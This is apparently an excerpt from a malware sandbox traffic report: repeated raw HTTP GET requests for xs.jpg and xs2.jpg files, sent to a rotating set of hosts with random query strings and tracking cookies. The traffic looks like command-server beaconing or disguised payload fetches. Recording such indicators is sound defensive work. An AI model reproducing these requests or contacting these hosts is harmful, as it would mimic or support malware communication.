Source: global traffic HTTP traffic detected: GET /xs.jpg?ea782f73=-1083666855 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?f026a792=-265902190 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d74bda62=-1365789500 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159419|1720159259|4|40|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3f66d776=-1144003526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159420|1720159259|4|40|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ae7223c4=-1178038512 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159420|1720159260|4|40|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c74c2087=-923187898 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c94ba6e9=1541600443 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9036add6=1088075608 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159423|1720159259|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?737daee5=-839468140 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159424|1720159259|4|41|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?215ba763=1119309510 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159424|1720159260|4|41|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?df150ca5=981355486 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?76eabd35=-1523882990 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2896226b=680927851 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159428|1720159259|4|42|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8fd1062=1978557004 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159428|1720159259|4|42|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bb7b9d3b=846387121 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159429|1720159260|4|42|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?35cb7c96=435346908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5428f9c6=-1471024244 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9c274079=2103526465 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159432|1720159259|4|43|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?e50bb34e=-227213044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159432|1720159259|4|43|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?78f5da0c=2029378060 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159433|1720159260|4|43|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?d6d21078=-2072628888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?91c553b8=1192578784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3cded4aa=-1441279834 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159436|1720159259|4|44|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?62886082=-988757756 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159437|1720159259|4|44|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f69d2558=-472420344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159437|1720159260|4|44|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a4a56c66=-1532662682 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?832f1280=-1987233920 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?54daef13=-24064711 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159441|1720159259|4|45|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?99af4b5=1289201064 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159441|1720159259|4|45|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da885230=-1257200544 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159442|1720159260|4|45|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a9f1e262=1407435972 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?5829e9af=-1051767432 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?25df21c8=788074048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159445|1720159259|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?327e2a9f=-118642122 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159446|1720159259|4|46|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?22eaebd4=-1365861596 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159447|1720159260|4|46|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?7dfe147e=-67360516 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?6f42bef3=181614757 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?80947de5=58389342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159450|1720159259|4|47|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?48dbc808=-1850241008 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159450|1720159259|4|47|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2c73ccc=186446640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159451|1720159260|4|47|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5a80b326=-737830608 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?626616cd=-335646207 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?f260cef5=-685609761 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159454|1720159259|4|48|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?216d3e73=-930122062 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159454|1720159259|4|48|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9e2ac5aa=2024478376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159455|1720159260|4|48|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ef46a9a2=-1402908630 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?37f8d56f=1339359386 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?939b7bae=155214274 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159458|1720159259|4|49|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?67316d6f=898910285 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159459|1720159259|4|49|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?baebcf66=1295391228 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159459|1720159260|4|49|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6582b518=-1852285480 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1b99da6=86825202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9055f4a9=-1873414999 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159463|1720159259|4|50|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dbb63107=-575567816 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159463|1720159259|4|50|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c7d4d608=1993464376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159464|1720159260|4|50|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?787713d7=1515414323 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8a282b2c=-954651084 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b3df36a1=1740533058 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159467|1720159259|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a62d3528=-1506986712 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159467|1720159259|4|51|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5f87de0d=2115991604 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159468|1720159260|4|51|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?baaa592=1761595938 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a5242bcc=-834303444 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9ad6cfae=1905085726 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159471|1720159259|4|52|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9f1f7a44=-1743041436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159472|1720159259|4|52|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ea3b604f=-1460829892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159472|1720159260|4|52|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3fc8f944=1041285988 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e4bc5c05=1550460958 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5eb9eca6=-1116481204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159476|1720159259|4|53|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?35f32514=1810254376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159476|1720159259|4|53|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?741b0543=1947927875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159477|1720159260|4|53|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?f3a2ce17=-2074342170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a8241ece=-1855376372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
